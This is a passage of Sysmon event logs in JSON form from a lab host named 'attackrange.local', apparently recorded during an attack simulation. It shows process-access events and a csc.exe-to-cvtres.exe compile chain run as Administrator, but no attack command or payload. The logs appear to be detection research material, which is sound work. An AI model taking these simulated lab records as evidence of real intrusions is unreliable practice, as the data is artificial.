11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010EE7A0700}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010EE7A0700}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.002\r\nProcessGuid: {90617006-415F-5F2D-0000-0010777E0700}\r\nProcessId: 2820\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES20AA.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSC4A87EB2C14A7454EB954C3D38648D27.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-415E-5F2D-0000-0010EE7A0700}\r\nParentProcessId: 1596\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\5j4udmlc.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.002","ProcessGuid":"{90617006-415F-5F2D-0000-0010777E0700}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES20AA.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSC4A87EB2C14A7454EB954C3D38648D27.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-415E-5F2D-0000-0010EE7A0700}","ParentProcessId":"1596","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\5j4udmlc.cmdline\"","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010EE7A0700}\r\nSourceProcessId: 1596\r\nSourceThreadId: 4308\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010777E0700}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010EE7A0700}","SourceProcessId":"1596","SourceThreadId":"4308","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010777E0700}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\